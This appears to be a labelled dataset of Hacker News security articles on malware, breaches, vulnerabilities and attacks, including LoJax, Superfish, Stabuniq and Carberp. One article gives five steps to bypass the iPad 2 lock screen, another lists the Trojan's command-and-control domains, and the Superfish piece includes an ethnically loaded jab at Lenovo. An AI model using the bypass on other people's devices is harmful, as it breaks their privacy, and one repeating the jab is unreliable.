Cybersecurity Researchers Spotted First-Ever UEFI Rootkit in the Wild,https://thehackernews.com/2018/09/uefi-rootkit-malware.html,"Cybersecurity researchers at ESET have unveiled what they claim to be the first-ever UEFI rootkit being used in the wild, allowing hackers to implant persistent malware on the targeted computers that could survive a complete hard-drive wipe.

Dubbed LoJax, the UEFI rootkit is part of a malware campaign conducted by the infamous Sednit group, also known as APT28, Fancy Bear, Strontium, and Sofacy, to target several government organizations in the Balkans as well as in Central and Eastern Europe.

Operating since at least 2007, Sednit group is a state-sponsored hacking group believed to be a unit of GRU (General Staff Main Intelligence Directorate), a Russian secret military intelligence agency. The hacking group has been associated with a number of high profile attacks, including the DNC hack just before the U.S. 2016 presidential election.

UEFI, or Unified Extensible Firmware Interface, a replacement for the traditional BIOS, is a core and critical firmware component of a computer, which links a computer's hardware and operating system at startup and is typically not accessible to users.

How Does LoJax UEFI Rootkit Work?

According to the ESET researchers, the LoJax malware has the ability to write a malicious UEFI module into the system's SPI flash memory, allowing BIOS firmware to install and execute malware deep inside the computer disk during the boot process.
""This patching tool uses different techniques either to abuse misconfigured platforms or to bypass platform SPI flash memory write protections,"" ESET researchers said in a blog post published today.
Since LoJax rootkit resides in the compromised UEFI firmware and re-infects the system before the OS even boots, reinstalling the operating system, formatting the hard disk, or even replacing the hard drive with a new one would not be sufficient to clean the infection.

Flashing the compromised firmware with legitimate software is the only way to remove such rootkit malware, which typically is not a simple task for most computer users.
First spotted in early 2017, LoJax is a trojaned version of a popular legitimate LoJack laptop anti-theft software from Absolute Software, which installs its agent into the system's BIOS to survive OS re-installation or drive replacement and notifies device owner of its location in case the laptop gets stolen.

According to researchers, the hackers slightly modified the LoJack software to gain its ability to overwrite UEFI module and changed the background process that communicates with Absolute Software's server to report to Fancy Bear's C&C servers.

Upon analyzing the LoJax sample, researchers found that the threat actors used a component called ""ReWriter_binary"" to rewrite vulnerable UEFI chips, replacing the vendor code with their malicious one.
""All the LoJax small agent samples we could recover are trojanizing the exact same legitimate sample of the Computrace small agent rpcnetp.exe. They all have the same compilation timestamp and only a few tens of bytes are different from the original one,"" ESET researchers said.

""Besides the modifications to the configuration file, the other changes include timer values specifying the intervals between connections to the C&C server.""
LoJax is not the first code to hide in the UEFI chip, as the 2015 Hacking Team leak revealed that the infamous spyware manufacturer offered UEFI persistence with one of its products.

Also, one of the CIA documents leaked by Wikileaks last year gave a clear insight into the techniques used by the agency to gain 'persistence' on Apple Mac devices, including Macs and iPhones, demonstrating their use of EFI/UEFI and firmware malware.

However, according to ESET, the LoJax rootkit installation uncovered by its researchers is the first ever recorded case of a UEFI rootkit active in the wild.

How to Protect Your Computer From Rootkits

As ESET researchers said, there are no easy ways to automatically remove this threat from a system.

Since UEFI rootkit is not properly signed, users can protect themselves against LoJax infection by enabling the Secure Boot mechanism, which makes sure that each and every component loaded by the system firmware is properly signed with a valid certificate.

If you are already infected with such malware, the only way to remove the rootkit is to reflash the SPI flash memory with a clean firmware image specific to the motherboard, which is a very delicate process that must be performed manually and carefully.

Alternative to reflashing the UEFI/BIOS, you can replace the motherboard of the compromised system outright.

""The LoJax campaign shows that high-value targets are prime candidates for the deployment of rare, even unique threats. Such targets should always be on the lookout for signs of compromise,"" researchers wrote.
For more in-depth details about the LoJax root, you can head onto a white paper [PDF], titled the ""LoJax: First UEFI rootkit found in the wild, courtesy of the Sednit group,"" published on Thursday by ESET researchers.

",Malware
Lenovo Shipping PCs with Pre-Installed 'Superfish Malware' that Kills HTTPS,https://thehackernews.com/2015/02/lenovo-superfish-malware.html,"One of the most popular computer manufacturers Lenovo is being criticized for selling laptops pre-installed with invasive marketing software, or malware that, experts say, opens up a door for hackers and cyber crooks.

The software, dubbed 'Superfish Malware', analyzes users' Internet habits and injects third-party advertising into websites on browsers such as Google Chrome and Internet Explorer based on that activities without the user's permission.

Security researchers recently discovered Superfish Malware presents onto new consumer-grade Lenovo computers sold before January of 2015. When taken out of the box for the first time, the adware gets activated and because it comes pre-installed, Lenovo customers might end up using it inadvertently.

SUPERFISH CERTIFICATE PASSWORD CRACKED
The Superfish Malware raised serious security concerns about the company's move for breaking fundamental web security protocols, carrying out ""Man in the Middle"" (MitM) attacks - impersonating the security certificates of encrypted websites in order to monitor users' behavior even on protected sites.

This would trouble Lenovo users because MitM attack can open a door for hackers to potentially compromise the sensitive information of any customer affected by Superfish - like passwords or banking details - because users' data isn't actually being protected.

Anyone with the password that unlocks that single password-protected certificate authority would be able to completely bypass the computer's web encryption.

According to a post by Errata Security's Robert David Graham, he cracked and published the password which was stored in the Superfish software's active memory and was trivial to extract. So, one could imagine the loss, if the same would be done by any hacker or cyber crook.

SUPERFISH MALWARE TEMPORARILY REMOVED
After the news fired up over the Internet and multiple users complained of popups and other unwanted behavior, the computer giant removed the Superfish Malware.
""We have temporarily removed Superfish from our consumer systems until such time as Superfish is able to provide a software build that addresses these issues. As for units already in market, we have requested that Superfish auto-update a fix that addresses these issues,"" a Lenovo community administrator, Mark Hopkins, wrote in late January.
Hopkins also defended the company from criticism over installing Superfish in the first place — but it didn't address the false HTTPS certificate problem. He also says that Lenovo users can refuse the terms and conditions when setting up their laptop in order to disable the software.
""To be clear, Superfish technology is purely based on contextual/image and not behavioral,"" Hopkins' statement reads. ""It does not profile nor monitor user behavior. It does not record user information. It does not know who the user is.""
SELF-SIGNED HTTPS CERTS RAISED MAJOR SECURITY CONCERNS
While other users on online forums are reporting that Superfish Malware actually installs its own self-signed certificate authority which effectively allows the company to snoop on secure connections. And if true, Superfish Malware could be far more dangerous than we had thought.
""A blatant man-in-the-middle attack malware breaking privacy laws. I have requested return of the laptop and refund as I find it unbelievable that ... Lenovo would facilitate such applications pre bundled with new laptops,"" the user wrote on the Lenovo forums.
Facebook engineering director Mike Shaver also warned about the invasive adware via his personal Twitter account, saying that he found SuperFish certificates posted by different users who had shared the same RSA key.
""Lenovo installs a MITM cert and proxy called SuperFish, on new laptops, so it can inject ads? Someone tell me that's not the world I'm in,"" Shaver tweeted.
LENOVO - IT'S JUST TO ENHANCE USERS' EXPERIENCE
The company this morning issued a weird statement addressing the controversy on the Lenovo computers. According to the computer giant, the Superfish software was ""to help customers potentially discover interesting products while shopping.""
""The relationship with Superfish is not financially significant,"" the statement reads. ""Our goal was to enhance the experience for users. We recognize that the software did not meet that goal and have acted quickly and decisively.""
What was my reaction on the fresh statement issued by the company? Oh! Come on Lenovo, we know the reality. May be you are one of the world's largest PC brands, but after all you are also a Chinese PC brand.

HOW TO REMOVE LENOVO SUPERFISH
In order to remove Lenovo Superfish Malware from your system, run the Microsoft Management Console (mmc.exe), and do the following:
Go to File and Click Add/Remove.
Choose Certificates, click Add.
Choose Computer Account, click Next
Choose Local Computer, click Finish
Click OK
Look under Trusted Root Certification Authorities -> Certificates
Find the one issued to Superfish and delete it.
LENOVO'S BAD HISTORY REGARDING BACKDOOR
This isn't first time, in past the computer giant was caught installing malware backdoors in its products and was also banned by different countries for same reasons.

In the mid of 2013, the spy agencies - the 'five eyes' alliance of the US, Britain, Canada, Australia, and New Zealand - banned Lenovo for allegedly installing backdoor into Lenovo-brand circuit boards, along with other vulnerabilities discovered into the firmware.

",Malware
DomainFactory Hacked—Hosting Provider Asks All Users to Change Passwords,https://thehackernews.com/2018/07/web-hosting-server-hack.html,"Besides Timehop, another data breach was discovered last week that affects users of one of the largest web hosting companies in Germany, DomainFactory, owned by GoDaddy.

The breach initially happened back in last January this year and just emerged last Tuesday when an unknown attacker himself posted a breach note on the DomainFactory support forum.

It turns out that the attacker breached company servers to obtain the data of one of its customers who apparently owes him a seven-figure amount, according to Heise.

Later the attacker tried to report DomainFactory about the potential vulnerability using which he broke into its servers, but the hosting provider did not respond, and neither disclosed the breach to its customers.

In that situation, the attacker head on to the company's support forum and broke the news with sample data of a few customers as proof, which forced DomainFactory to immediately shut down the forum website and initiate an investigation.

Attacker Gains Access to a Large Number of Data

DomainFactory finally confirmed the breach last weekend, revealing that following personal data belonging to an unspecified number of its customers has been compromised.
Customer name
Company name
Customer account ID
Physical address
E-mail addresses
Telephone number
DomainFactory Phone password
Date of birth
Bank name and account number (e.g. IBAN or BIC)
Schufa score (German credit score)
Well, that's a whole lot of information, which can be used by cybercriminals for targeted social engineering attacks against the customers.

The forum has since been temporarily down, and DomainFactory said that a data feed of certain customer information, accessed by the attacker, was left open to external third parties after a system transition on January 29, 2018.
""We have notified the data protection authority and commissioned external experts with the investigation. The protection of the data of our customers is paramount, and we regret the inconvenience this incident causes, very much,"" the company said.

Change All of Your Passwords

DomainFactory is now advising its users to change passwords for all of the following services and applications ""as a precautionary measure,"" and also change passwords for other online services where you use the same password.
Customer password
Phone password
Email passwords
FTP / Live disk passwords
SSH passwords
MySQL database passwords
Since the compromised data can be used for identity theft and to create direct debits for customers' bank account, users are also recommended to monitor their bank statements for any unauthorized transaction.

So far it is unclear how the attacker got into the Domainfactory servers, but the German publication said the attacker did not give an impression of selling the captured data or leaking it online.

",Data_Breaches
"$36,000 USD reward for wanted hacker",https://thehackernews.com/2012/12/36000-usd-reward-for-wanted-hacker.html,"Japan's National Police Agency has offered a monetary reward for a wanted hacker, use programming languages like C# to create a virus called ""iesys.exe"" and Hijack systems of innocent people to post aggressive messages on Internet on behalf of Users.

Method called a ""Syberian Post Office"" to post messages to popular Japanese bulletin board. Hacker use cross-site request forgery exploit, that allow hackers to making online postings via innocent users automatically. The messages included warnings of plans for mass killings at an elementary school posted to a city website.

It is the first time that Japan's National Police Agency has offered a monetary reward for a wanted hacker and will pay up to 3 million yen (US$36,000). The case is an embarrassing one for the police, in which earlier this year four individuals were wrongly arrested after their PCs were hacked and used to post such messages on public bulletin boards.

""Up until now this type of reward was reserved for cases involving crimes like murder and arson, but the policy has recently been changed to include more types of crimes,"" an agency spokeswoman said.

",Malware
iPad 2 iOS 5 Lock Screen Bypass Vulnerability [Video Demonstration],https://thehackernews.com/2011/10/ipad-2-ios-5-lock-screen-bypass.html,"iPad 2 iOS 5 Lock Screen Bypass Vulnerability

Marc Gurman at 9to5Mac has discovered a vulnerability on the iPad that allows for a limited bypass of the device's lockscreen. Anyone with an iPad Smart Cover can gain access to the previously-open app (or the home screen if no app was open).

By holding the power button to bring up the 'Power Off' screen, closing the smart cover, re-opening it, and clicking cancel, the attacker will be dropped into the screen that was open before the iPad was locked. If the attacker gets dropped into the home screen, then they'll be able to see the installed apps, but won't be able to open anything. If Safari or Mail (or any other app) was the open when the device was locked, then the attacker would have access to that app.

From a locked iPad 2:

1) Lock a password protected iPad 2
2) Hold down power button until iPad 2 reaches turn off slider
3) Close Smart Cover
4) Open Smart Cover
5) Click cancel on the bottom of the screen


This isn't the first security issue Apple has experienced since rolling out iOS 5. On the brand new iPhone 4S it has been discovered you can use Siri when a device is locked. Even if a passcode is required, Siri doesn't care and allows you to carry out functions such as sending email and text messages.

Protection Against the iPad 2 Lock Screen Bypass:
For the time being, iPad 2 users are encouraged to disable the ""Smart Cover unlocking"" feature found in Settings > General.

",Vulnerability
Hackers Targeting Companies Involved in Covid-19 Vaccine Distribution,https://thehackernews.com/2020/12/hackers-targeting-companies-involved-in.html,"A global spear-phishing campaign has been targeting organizations associated with the distribution of COVID-19 vaccines since September 2020, according to new research.
Attributing the operation to a nation-state actor, IBM Security X-Force researchers said the attacks took aim at the vaccine cold chain, companies responsible for storing and delivering the COVID-19 vaccine at safe temperatures.
The development has prompted the US Cybersecurity and Infrastructure Security Agency (CISA) to issue an alert, urging Operation Warp Speed (OWS) organizations and companies involved in vaccine storage and transport to review the indicators of compromise (IoCs) and beef up their defenses.
It is unclear whether any of the phishing attempts were successful, but the company said it has notified appropriate entities and authorities about this targeted attack.
The phishing emails, dating to September, targeted organizations in Italy, Germany, South Korea, the Czech Republic, greater Europe, and Taiwan, including the European Commission's Directorate-General for Taxation and Customs Union, unnamed solar panel manufacturers, a South Korean software development firm, and a German website development company.
IBM said the attacks likely targeted organizations linked to the Gavi vaccine alliance with the goal of harvesting user credentials to gain future unauthorized access to corporate networks and sensitive information relating to the COVID-19 vaccine distribution.
To lend the emails an air of credibility, the operators behind the operation crafted lures that masqueraded as requests for quotations for participation in a vaccine program. The attackers also impersonated a business executive from Haier Biomedical, a legitimate China-based cold chain provider, in an attempt to convince the recipients to open the inbound emails without questioning the sender's authenticity.
""The emails contain malicious HTML attachments that open locally, prompting recipients to enter their credentials to view the file,"" IBM researchers Claire Zaboeva and Melissa Frydrych said.
Although the researchers could not establish the identities of the threat actor, the ultimate objective, it appears, is to harvest the usernames and passwords and abuse them to steal intellectual property and move laterally across the victim environments for subsequent espionage campaigns.
COVID-19 Vaccine Research Emerges a Lucrative Target
COVID-19 vaccine research and development has been a target of sustained cyberattacks since the start of the year.
Back in June, IBM disclosed details of a similar phishing campaign targeting a German entity connected with procuring personal protective equipment (PPE) from China-based supply and purchasing chains.
The cyberassaults led the US Department of Justice to charge two Chinese nationals for stealing sensitive data, including from companies developing COVID-19 vaccines, testing technology, and treatments, while operating both for private financial gain and on behalf of China's Ministry of State Security.
In November, Microsoft said it detected cyberattacks from three nation-state agents in Russia (Fancy Bear aka Strontium) and North Korea (Hidden Cobra and Cerium) directed against pharmaceutical companies located in Canada, France, India, South Korea, and the US that are involved in COVID-19 vaccines in various stages of clinical trials.
Then last week, it emerged that suspected North Korean hackers have targeted British drugmaker AstraZeneca by posing as recruiters on networking site LinkedIn and WhatsApp to approach its employees with fake job offers and tricking them into opening what were purported to be job description documents to gain access to their systems and install malware.

",Cyber_Attack
U.S. Supreme Court allows the FBI to Hack any Computer in the World,https://thehackernews.com/2016/04/fbi-hacking-power.html,"In Brief
The US Supreme Court has approved amendments to Rule 41, which now gives judges the authority to issue search warrants, not only for computers located in their jurisdiction but also outside their jurisdiction.

Under the original Rule 41, let's say, a New York judge can only authorize the FBI to hack into a suspect's computer in New York.

But the amended rule would now make it easier for the FBI to hack into any computer or network, literally anywhere in the world.

The Federal Bureau of Investigation (FBI) can now Hack your computers anywhere, anytime.

The FBI appeared to have been granted powers to hack any computer legally across the country, and perhaps anywhere in the world, with just a single search warrant authorized by any United States judge.

The U.S. Supreme Court approved yesterday a change in Rule 41 of the Federal Rules of Criminal Procedure that would let U.S. judges issue warrants for remote access to electronic devices outside their jurisdiction.
""These amendments will have significant consequences for Americans' privacy and the scope of the government's powers to conduct remote surveillance and searches of electronic devices,"" Democratic Senator Ron Wyden of Oregon said in a statement Thursday.
""Under the proposed rules, the government would now be able to obtain a single warrant to access and search thousands or millions of computers at once; and the vast majority of the affected computers would belong to the victims, not the perpetrators, of cybercrime.""
If Congress doesn't act, the changes to the Rule 41 will take immediate effect in December despite opposition from technology giants and civil liberties groups who believes the changes would expand the FBI's power to conduct mass hacks on computer networks.

The tech giants and civil liberties groups like the American Civil Liberties Union (ACLU) say the change also could run afoul of the American Constitution's protections against inappropriate searches and seizures.

However, while proposing the rule change in 2014, the U.S. Department of Justice described it as a small modification required to modernize the criminal code for the digital age, saying the changes wouldn't permit searches that aren't already legal.

The FBI Now Can Legally Hack TOR Users

Previously, under the Rule 41, magistrate judges could not approve search warrants to remotely hack or access computers outside their jurisdiction.

But with the rule change, magistrate judges could now issue orders to search or seize computers and electronic devices outside their local authority if the target's location is unknown or if the target is using anonymity software like TOR.

More than a Million of Internet users make use of TOR anonymity software to browse the Web just to hide their actual identity for entirely legitimate reasons, in addition to criminals who use TOR to hide their locations.

Recently, the court threw out evidence that the FBI brought by hacking the members of the child pornography site PlayPen on the TOR network using its so-called Network Investigative Technique (NIT), explaining the feds violated Rule 41's territorial restrictions.

This rule change would prevent something like that from happening, opening doors for the FBI to legally hack any computer in any country.

The Congress has time until 1 December 2016 to reject changes or make more changes to Rule 41, after which the amended version of the rule will take effect.

",Malware
Popular Photo Sharing Website Likes.com Vulnerable To Multiple Critical Flaws,https://thehackernews.com/2014/09/popular-photo-sharing-website.html,"Likes.com, one of the emerging social networking site and popular image browsing platform, is found vulnerable to several critical vulnerabilities that could allow an attacker to completely delete users' account in just one click.

Likes.com is a social networking website that helps you to connect with people you like and make new friends for free. Just like any other social place, users can always follow their favorite tag or people who catch their fancy. It is much easier to use and is designed for those who want to look at pictures different people upload.

An independent security researcher Mohamed M. Fouad from Egypt has found a series of critical security vulnerabilities in the Likes website that really pose danger to its users. The vulnerabilities he found not only have capability to add any post, comment to users' account as well as delete users' account, but the vulnerabilities can be escalated to deface entire website by posting malicious URLs and delete all users accounts.

CRITICAL VULNERABILITIES IN LIKES.COM
Fouad discovered that the Likes.com website is vulnerable to three security vulnerabilities:
Login-brute force
Login bypass
CSRF - Cross-Site Request Forgery

CSRF VULNERABILITY
Among all the three flaws, the most critical one, according to Fouad, is CSRF vulnerability, because exploiting this vulnerability can allow an attacker to force users to add malicious links to their posts and comments and if user click it, their accounts can be deleted in just a click.

Cross-Site Request Forgery (CSRF or XSRF) is a method of attacking a Web site in which an intruder masquerades as a legitimate and trusted user. All the attacker need to do is get the target browser to make a request to your website on their behalf. If they can either:
Convince your users to click on a HTML page they've constructed
Insert arbitrary HTML in a target website that your users visit

Basically, an attacker will use CSRF to trick a victim into accessing a website or clicking a URL link that contains malicious or unauthorized requests.

JUST ONE CLICK AND USERS' ACCOUNTS DELETED
""It's so easy, I tried it but in some testing accounts. I was able to generate my malicious url in all posts by image_id (Post) then my malicious url was in thousands of posts as a comment. So any user who click it, his/her account will be deleted immediately,"" Fouad told The Hacker News.
Not just this, the CSRF vulnerability could be escalated by a cyber criminal to deface entire website by generating random POSTs (image_ids) and post malicious url to (DELETE USER ACCOUNTS) in order to delete a number of users account just in one click.
""Using same CSRF vulnerability, I can also force the user to post my malicious URL to his/her account, so that all his/her friends who will browse that link, their accounts will be deleted by just one click.""
LOGIN BRUTE-FORCE ATTACK
Fouad discovered an account password by systematically trying every possible combination of letters, numbers and symbols until and unless he discovered the correct combination. This clearly means that the login page of the Likes.com website doesn't have any protection against password brute force attacks.

As a result, anyone can try multiple number of attempts in order to guess the correct password combination. The site must have implemented some type of account lockout after a defined number of incorrect password attempts, said Fouad in his blog post.

LOGIN BYPASS ATTACK
Fouad also found a security problem with login when anyone click on ""unsubscribe"" link in their email notifications. Once clicked, user is redirected to the account settings.

Now, when he tried to open this URL in different browsers and different machines, he was able to access the account normally, and that too without Login. This shows Likes accounts can bypassed your login.

As a responsible security researcher, Fouad also reported the critical flaws 10 days ago to the Likes team, but neither the company fix it, nor it replied him back. Fouad has also provided a video demonstration as a Proof of Concept. The security vulnerabilities are critical and should be fixed as soon as possible.

",Vulnerability
Stabuniq Trojan rapidly stealing data from US banks,https://thehackernews.com/2012/12/stabuniq-trojan-rapidly-stealing-data.html,"Trojan.Stabuniq geographic distribution by unique IP address
Security researchers from Symantec have identified a new Trojan that appears to be targeting financial institutions. Dubbed Trojan.Stabuniq, the malware has been collecting information from infected systems potentially for the preparation of a more damaging attack.

According to researchers, roughly 40 IP addresses infected with the Stabuniq Trojan, 40% per cent belong to financial institutions who are mostly based in Chicago and New York.


The malware appears to be spread by a phishing attack through spam e-mail containing a link to the address of a server hosting a Web exploit toolkit. Such toolkits are commonly used to silently install malware on Web users' computers by exploiting vulnerabilities in outdated browser plug-ins like Flash Player, Adobe Reader, or Java.

These attacks can be very simple, such as a written email from a prince in Nigeria asking for bank account information.

Once installed, it collects information including its computer name, IP address, operating system version and installed service packs, running processes and dumps that data to a command & control server located at:
anatwriteromist.com
bbcnews192.com
belsaw920.com
benhomelandefit.com
midfielderguin.com
prominentpirsa.com
sovereutilizeignty.com
yolanda911.com
Recommended actions for readers, Use a firewall to block all incoming connections from the Internet to services that should not be publicly available. By default, you should deny all incoming connections and only allow services you explicitly want to offer to the outside world.

Ensure that programs and users of the computer use the lowest level of privileges necessary to complete a task. When prompted for a root or UAC password, ensure that the program asking for administration-level access is a legitimate application.

Turn off and remove unnecessary services and Enforce a password policy. Stay tuned to +The Hacker News .

",Malware
Namecheap Accounts Compromised in Data Breach,https://thehackernews.com/2014/09/namecheap-accounts-compromised-in-data_2.html,"LA-based domain name registrar and hosting company Namecheap warned its customers on Monday that cybercriminals have begun accessing their accounts by using the list of credentials gathered from third-party websites.

The Hosting company confirmed the security breach and informed that the hackers have compromised some of its customers' accounts, probably using the ""biggest-ever"" password theft via Russian Hackers that disclosed list of 1.2 billion usernames and passwords compiled by Russian CyberVor Gang.

RUSSIAN GROUP BEHIND THE ATTACK - CYBERVOR
The CyberVor Gang allegedly stolen a vast cache of compromised login credentials for ""1.2 billion"" accounts, belonging to over half a billion e-mail addresses, warned Hold Security, a Milwaukee-based security company that tracks stolen data on underground cybercriminal forums.

The gang appears to have broken into at least 420,000 websites vulnerable to SQL injection attacks, among other techniques, in order to fetch majority of these credentials.

GOOD NEWS - NAMECHEAP BECOME AWARE OF THE ATTACK SOON
Namecheap said it had become aware of the ongoing attacks, thanks to the company's intrusion detection systems that alerted them to a ""much higher than normal load against our login system [using] username and password data gathered from third party sites that were trying to be used to try and gain access to Namecheap.com accounts.""

The invaders were trying multiple times to log in to a number of accounts until they get the right combination and access. While most of their attempts were failed but some appear to be successful, prompting Namecheap to suspend some users' accounts in the fear that it may have been compromised as well as blocking over 30,000 IP addresses associated with the attack, as detailed in on the corporate blog of the hosting firm.

FAKE BROWSER USED IN MASSIVE BREACH
It is believed that the hackers behind the attack are using the stored usernames and passwords to simulate a web browser login through fake browser software. This software replicates the actual login procedure a customer would use if they are making use of Firefox, Safari, or Chrome browsers to access their Namecheap account.
""The hackers are going through their username/password list and trying each and every one to try and get into Namecheap user accounts. The vast majority of these login attempts have been unsuccessful as the data is incorrect or old and passwords have been changed,"" the company said in a blog post entitled, Urgent Security Warning.
""As a precaution, we are aggressively blocking the IP addresses that appear to be logging in with the stolen password data. We are also logging these IP addresses and will be exporting blocking rules across our network to completely eliminate access to any Namecheap system or service, as well as making this data available to law enforcement.""
Namecheap believed that the hacking attack is linked to the Russian CyberVor gang and is not at all related to the recent data breaches such as the high-profile Target breach or the Adobe attack.

HOW TO PROTECT YOURSELF
""Our early investigation shows that those users who use the same password for their Namecheap account that are used on other websites are the ones who are vulnerable,"" said Matt Russell, vice president of hosting company.
Russell encourages Namecheap customers to enable two-factor authentication when they regain access to their Namecheap account. Two-factor authentication has been enabled at other web hosting companies as users look for ways to add an extra layer of security to their hosting and email accounts.

",Data_Breaches
Dragonfly 2.0: Hacking Group Infiltrated European and US Power Facilities,https://thehackernews.com/2017/09/dragonfly-energy-hacking.html,"The notorious hacking group that has been in operation since at least 2011 has re-emerged and is still interested in targeting the United States and European companies in the energy sector.

Yes, I am talking about the 'Dragonfly,' a well-resourced, Eastern European hacking group responsible for sophisticated cyber-espionage campaigns against the critical infrastructure of energy companies in different countries in past years.

In 2014, we reported about the Dragonfly groups ability to mount sabotage operations against their targets—mainly petroleum pipeline operators, electricity generation firms and other Industrial Control Systems (ICS) equipment providers for the energy sector.

Researchers from cyber security firm Symantec who discovered the previous campaign is now warning of a new campaign, which they dubbed Dragonfly 2.0, saying ""the group now potentially has the ability to sabotage or gain control of these systems should it decide to do so"" and has already gained unprecedented access to operational systems of Western energy firms.

Here are the major highlights of the group activities outlined in the new report from Symantec:

The hacking group has been active since late 2015 and reportedly using same tactics and tools that were used in earlier campaigns.
The major objective of the Dragonfly 2.0 group is to collect intelligence and gain access to the networks of the targeted organization, eventually making the group capable of mounting sabotage operations when required.
Dragonfly 2.0 majorly targeting the critical energy sectors in the U.S., Turkey, and Switzerland.
Like previous Dragonfly campaigns, the hackers are using malicious email (containing very specific content related to the energy sector) attachments, watering hole attacks, and Trojanized software as an initial attack vector to gain access to a victim's network.
The group is using a toolkit called Phishery (available on GitHub) to perform email-based attacks that host template injection attack to steal victim's credentials.
Malware campaign involves multiple remote access Trojans masquerading as Flash updates called, Backdoor.Goodor, Backdoor.Dorshel and Trojan.Karagany.B, allowing attackers to provide remote access to the victim's machine.


However, Symantec researchers did not find any evidence of the Dragonfly 2.0 group using any zero day vulnerabilities. Instead, the hacking group strategically uses publically available administration tools like PowerShell, PsExec, and Bitsadmin, making attribution more difficult.
""The Dragonfly 2.0 campaigns show how the attackers may be entering into a new phase, with recent campaigns potentially providing them with access to operational systems, access that could be used for more disruptive purposes in future,"" Symantec believes.
Cyber attacks on energy grids are not a new thing. Energy companies in Ukraine targeted by hackers on two different occasions in late 2015 and late 2016, actually caused the power outage across several regions in Ukraine, causing a blackout for tens of thousands of citizens around midnight.

Moreover, Nuclear facilities in the United States, including Wolf Creek Nuclear Operating Corporation, were targeted by a well-known Russian group back in July this year, but luckily there's no proof if the hackers were able to gain access to the operational systems or not.

",Cyber_Attack
Hackers Turning to 'Exotic' Programming Languages for Malware Development,https://thehackernews.com/2021/07/hackers-turning-to-exotic-programming.html,"Threat actors are increasingly shifting to ""exotic"" programming languages such as Go, Rust, Nim, and Dlang that can better circumvent conventional security protections, evade analysis, and hamper reverse engineering efforts.
""Malware authors are known for their ability to adapt and modify their skills and behaviors to take advantage of newer technologies,"" said Eric Milam, Vice President of threat research at BlackBerry. ""That tactic has multiple benefits from the development cycle and inherent lack of coverage from protective products.""
On the one hand, languages like Rust are more secure as they offer guarantees like memory-safe programming, but they can also be a double-edged sword when malware engineers abuse the same features designed to offer increased safeguards to their advantage, thereby making malware less susceptible to exploitation and thwart attempts to activate a kill-switch and render them powerless.
Noting that binaries written in these languages can appear more complex, convoluted, and tedious when disassembled, the researchers said the pivot adds additional layers of obfuscation, simply by virtue of them being relatively new, leading to a scenario where older malware developed using traditional languages like C++ and C# are being actively retooled with droppers and loaders written in uncommon alternatives to evade detection by endpoint security systems.
Earlier this year, enterprise security firm Proofpoint discovered new malware written in Nim (NimzaLoader) and Rust (RustyBuer) that it said were being used in active campaigns to distribute and deploy Cobalt Strike and ransomware strains via social engineering campaigns. In a similar vein, CrowdStrike last month observed a ransomware sample that borrowed implementations from previous HelloKitty and FiveHands variants, while using a Golang packer to encrypt its main C++-based payload.
BlackBerry's latest findings show that these artifacts are part of an uptick in threat actors adopting Dlang, Go, Nim, and Rust to rewrite existing families or create tools for new malware sets over the past decade -
Dlang - DShell, Vovalex, OutCrypt, RemcosRAT
Go - ElectroRAT, EKANS (aka Snake), Zebrocy, WellMess, ChaChi
Nim - NimzaLoader, Zebrocy, DeroHE, Nim-based Cobalt Strike loaders
Rust - Convuster Adware, RustyBuer, TeleBots Downloader and Backdoor, NanoCore Dropper, PyOxidizer
""Programs written using the same malicious techniques but in a new language are not usually detected at the same rate as those written in a more mature language,"" BlackBerry researchers concluded.
""The loaders, droppers and wrappers [...] are in many cases simply altering the first stage of the infection process rather than changing the core components of the campaign. This is the latest in threat actors moving the line just outside of the range of security software in a way that might not trigger on later stages of the original campaign.""

",Malware
PayPal Subsidiary Data Breach Hits Up to 1.6 Million Customers,https://thehackernews.com/2017/12/paypal-tio-data-breach.html,"Global e-commerce business PayPal has disclosed a data breach that may have compromised personally identifiable information for roughly 1.6 million customers at a payment processing company PayPal acquired earlier this year.

PayPal Holdings Inc. said Friday that a review of its recently acquired company TIO Networks showed evidence of unauthorized access to the company's network, including some confidential parts where the personal information of TIO's customers and customers of TIO billers stored.

Acquired by PayPal for US$233 Million in July 2017, TIO Network is a cloud-based multi-channel bill payment processor and receivables management provider that serves the largest telecom, wireless, cable and utility bill issuers in North America.

PayPal did not clear when or how the data breach incident took place, neither it revealed details about the types of information being stolen by the hackers, but the company did confirm that its platform and systems were not affected by the incident.
""The PayPal platform is not impacted in any way, as the TIO systems are completely separate from the PayPal network, and PayPal's customers' data remains secure,"" PayPal said in its press release [PDF].
The data breach in TIO Networks was discovered as part of an ongoing investigation for identifying security vulnerabilities in the payment processing platform.

As soon as PayPal identified an unauthorized access to the TIO's network, PayPal took action by ""initiating an internal investigation of TIO and bringing in additional third-party cybersecurity expertise to review TIO's bill payment platform,"" PayPal press release [PDF] reads.

The company has begun working with companies it services to notify potentially affected customers.

Besides notifying, the company is also working with a consumer credit reporting agency, Experian, to provide free credit monitoring memberships for fraud and identity theft to those who are affected by the breach.

To protect its customers, TIO has also suspended its services until a full-scale investigation into the incident is completed.
""At this point, TIO cannot provide a timeline for restoring bill pay services, and continues to recommend that you contact your biller to identify alternative ways to pay your bills,"" TIO's Consumer FAQ reads.
""We sincerely apologize for any inconvenience caused to you by the disruption of TIO's service.""
Since the investigation is ongoing, PayPal will communicate with TIO customers and merchant partners directly as soon as the company has more details on the incident. Also, the affected customers will be directly contacted by the company.

",Data_Breaches
Carberp botnet developers team arrested in Russia,https://thehackernews.com/2013/04/carberp-botnet-developers-team-arrested.html,"Cybercriminals, underground hacking communities, hacker's market and Exploit packs.... Russian cyberspace is well known for such crazy hacking stuff. Recently, the original Carberp botnet developer ring that stole millions from bank accounts worldwide has been arrested.

According to a report from Russian newspaper, a group of 20 people who served as its malware development team, were arrested by the Sluzhba Bezpeky Ukrayiny and the Federalnaya sluzhba bezopasnosti Rossiyskoy Federatsii (federal security service of Russia, FSB) in cities around Ukraine.


Over $250 million has been stolen by the members of the botnet ring, which had roughly 20 members aged between 25 and 30. ""Our experts did an enormous amount of work, which resulted in identifying the head of this criminal group, the owner and operator of a specialized banking botnet, identifying the control servers, and identifying the directing of traffic from popular websites in order to spread malware infection,"" said Ilya Sachkov, chief executive of Group-IB,

As recently as December, Carpberp fetched $40,000 per kit. Carberp malware was used as part of the ""Eurograbber"" botnet system uncovered late last year that went after both PCs and smartphones in its financial fraud campaign.

Like other banking Trojans, Carberp could intercept information which could be used to break into online banking accounts and transfer funds. Its mobile component allows criminals to steal mobile transaction authentication numbers (mTANs) sent by banks to authorize specific transactions.

Each of them worked remotely, and were responsible for the development of one part of the malware, officials said. Carberp was constantly modified and updated to ensure it would evade antivirus detection. If found guilty, under current law, they could face up to five years in prison.

",Malware
